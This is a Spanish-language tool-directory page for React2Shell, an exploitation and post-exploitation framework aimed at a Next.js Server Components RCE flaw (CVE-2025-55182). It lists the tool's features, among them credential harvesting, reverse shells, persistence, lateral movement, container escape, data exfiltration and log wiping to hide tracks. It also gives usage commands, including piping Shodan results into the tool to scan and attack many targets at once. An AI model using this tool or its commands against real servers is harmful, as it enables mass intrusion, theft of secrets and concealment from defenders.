Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
React2Shell — R2S es un framework integral de explotación y post-explotación dirigido a la vulnerabilidad de React Server Components de Next.js (CVE-2025-55182). Proporciona un shell interactivo con funciones avanzadas para pruebas de penetración, incluyendo transferencia de archivos, persistencia, enumeración, comprobaciones de escalada de privilegios y más. | Kitploit
Herramientas/GitHubGitHub/4nuxd/react2shell
Frameworks de Pruebas de PenetraciónEscalada de PrivilegiosFrameworks de ExploitsMecanismos de PersistenciaMovimiento LateralExplotación de Aplicaciones WebExfiltración de DatosPost-ExplotaciónComando y ControlEscape de Contenedores
67hace 10 mesesAún no revisado
GitHub
4nuxd/react2shell

React2Shell

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

R2S es un framework integral de explotación y post-explotación dirigido a la vulnerabilidad de React Server Components de Next.js (CVE-2025-55182). Proporciona un shell interactivo con funciones avanzadas para pruebas de penetración, incluyendo transferencia de archivos, persistencia, enumeración, comprobaciones de escalada de privilegios y más.

Compartir

🚀 R2S - Framework de Explotación RSC para Next.js

Version Python License CVE

Framework avanzado de post-explotación para RCE de React Server Components de Next.js

Características • Instalación • Uso • Comandos • Ejemplos


📋 Resumen

R2S es un completo framework de explotación y post-explotación que apunta a la vulnerabilidad de React Server Components de Next.js (CVE-2025-55182). Proporciona un shell interactivo con funciones avanzadas para pruebas de penetración, incluyendo transferencia de archivos, persistencia, enumeración, comprobaciones de escalada de privilegios y más.

🎯 Capacidades clave

  • ✅ Escaneo automatizado de vulnerabilidades - Escaneo masivo de múltiples objetivos
  • ✅ Shell RCE interactivo - Ejecución de comandos con estado y navegación de directorios
  • ✅ Transferencia de archivos por HTTP - Subir/descargar archivos sin limitaciones de base64
  • ✅ Automatización de reverse shell - Probar más de 25 payloads de reverse shell
  • ✅ Enumeración avanzada - Metadatos de sistema, red, contenedores y nube
  • ✅ Escalada de privilegios - Detección automatizada de vectores de escalada de privilegios
  • ✅ Cosecha de credenciales - Extracción de contraseñas, claves, tokens y secretos
  • ✅ Mecanismos de persistencia - Mantener acceso a través de reinicios
  • ✅ Movimiento lateral - Descubrir y pivotar a otros hosts
  • ✅ Escape de contenedores - Verificar vectores de escape de Docker/Kubernetes
  • ✅ Exfiltración de datos - Extraer archivos y configuraciones sensibles
  • ✅ Operaciones sigilosas - Limpiar registros y ocultar rastros

🔥 Características

🌐 Explotación principal

  • Escaneo masivo con soporte de múltiples hilos
  • Modo pipeline para integración con otras herramientas
  • Detección automática de vulnerabilidades para Next.js RSC
  • Shell interactivo con estado con directorio de trabajo persistente

📁 Operaciones de archivos

  • Subida por HTTP - Transferir archivos al objetivo mediante wget/curl
  • Descarga por HTTP - Exfiltrar archivos mediante solicitudes POST
  • Sin limitaciones de tamaño - Funciona con archivos grandes (a diferencia de métodos base64)
  • Servidor HTTP automático - Inicia/para según sea necesario

🔍 Reconocimiento y enumeración

  • Enumeración del sistema - SO, kernel, usuarios, procesos
  • Descubrimiento de red - Interfaces, rutas, ARP, DNS, puertos en escucha
  • Detección de contenedores - Identificación de Docker, Kubernetes, LXC
  • Metadatos de nube - Extracción de credenciales AWS, GCP, Azure
  • Volcado de memoria de procesos - Extraer secretos de procesos en ejecución
  • Descubrimiento de archivos interesantes - SUID, directorios escribibles, copias de seguridad, configuraciones

🔐 Cosecha de credenciales

  • Variables de entorno (contraseñas, claves API, tokens)
  • Archivos .env y archivos de configuración
  • Claves privadas SSH y authorized_keys
  • Historial de Bash con comandos sensibles
  • Archivos de base de datos (volcados SQLite, MySQL)
  • Credenciales de nube (AWS, Azure, GCP)
  • Credenciales Git y tokens NPM
  • Datos del navegador (cookies, datos de inicio de sesión)
  • Secretos de Docker y Kubernetes

⬆️ Escalada de privilegios

  • Detección de binarios SUID/SGID
  • Enumeración de permisos Sudo
  • Archivos del sistema escribibles (/etc/passwd, /etc/shadow)
  • Verificaciones de acceso al socket Docker
  • Análisis de capacidades de Linux
  • Sugerencias de exploits de kernel
  • Enumeración de tareas Cron
  • Oportunidades de secuestro de PATH

🔄 Post-explotación

  • Mecanismos de persistencia - Tareas Cron, .bashrc, servicios systemd
  • Persistencia avanzada - LD_PRELOAD, temporizadores systemd
  • Escaneo de puertos - Reconocimiento de red interna
  • Movimiento lateral - Descubrimiento de claves SSH, análisis de known_hosts
  • Escape de contenedores - Verificaciones de contenedores privilegiados, análisis de capacidades
  • Exfiltración de datos - Recopilación automatizada de datos sensibles
  • Automatización de reverse shell - Más de 25 tipos de payload con reintento automático

🥷 Sigilo y evasión

  • Limpieza de registros - Historial de Bash, registros de autenticación, syslog
  • Cobertura de rastros - Limpieza de wtmp, lastlog
  • Gestión de sesiones - Guardar y reanudar sesiones

🛠️ Instalación

Prerrequisitos

# Python 3.6 or higher
python3 --version

# Install dependencies
pip3 install requests urllib3

Inicio rápido

# Clone or download the tool
cd r2s-main

# Make executable (optional)
chmod +x r2s_enhanced.py

# Run the tool
python3 r2s_enhanced.py -h

🚀 Uso

Sintaxis básica

python3 r2s_enhanced.py [OPTIONS]

Opciones de línea de comandos

OpciónDescripciónPor defecto
-u, --urlURL del objetivo único-
-l, --listArchivo que contiene lista de URLs-
-c, --cmdComando inicial a ejecutarid
-t, --threadsNúmero de hilos de escaneo30
-p, --proxyProxy HTTP (ej., http://127.0.0.1:8080)-
-v, --verboseHabilitar salida detalladaFalse
--http-portPuerto del servidor HTTP para transferencia de archivos8000

Métodos de entrada

1. Objetivo único

python3 r2s_enhanced.py -u http://target.com

2. Múltiples objetivos (archivo)

python3 r2s_enhanced.py -l targets.txt -t 50

3. Modo pipeline (stdin)

cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py

💻 Comandos del Shell Interactivo

Una vez que obtengas acceso RCE, entrarás a un shell interactivo con estos comandos:

📂 Transferencia de archivos

upload <local_file> <remote_path>    # Upload file to target
download <remote_file> <local_path>  # Download file from target

🧭 Navegación

cd <directory>                       # Change working directory
pwd                                  # Print working directory

🔍 Enumeración

enum                                 # Complete system enumeration
privesc                              # Privilege escalation checks
harvest                              # Credential harvesting
portscan <ip>                        # Scan internal network ports
memdump [pid]                        # Dump process memory for secrets

🎯 Post-explotación

lateral                              # Lateral movement opportunities
escape                               # Container escape vectors
exfil [type]                         # Exfiltrate data (env/config/keys/db/logs/all)
reverse <lhost> <lport>              # Try multiple reverse shell payloads

🔒 Persistencia

persist                              # Add basic persistence
advpersist                           # Add advanced persistence

🥷 Sigilo

stealth                              # Clear logs and hide tracks

💾 Gestión de sesiones

save                                 # Save current session
help, ?                              # Show help message
exit, quit                           # Exit interactive shell

🖥️ Comandos del sistema

Ejecuta cualquier comando de shell directamente:

whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

📚 Ejemplos

Ejemplo 1: Explotación básica

$ python3 r2s_enhanced.py -u http://vulnerable-app.com
Descargar herramienta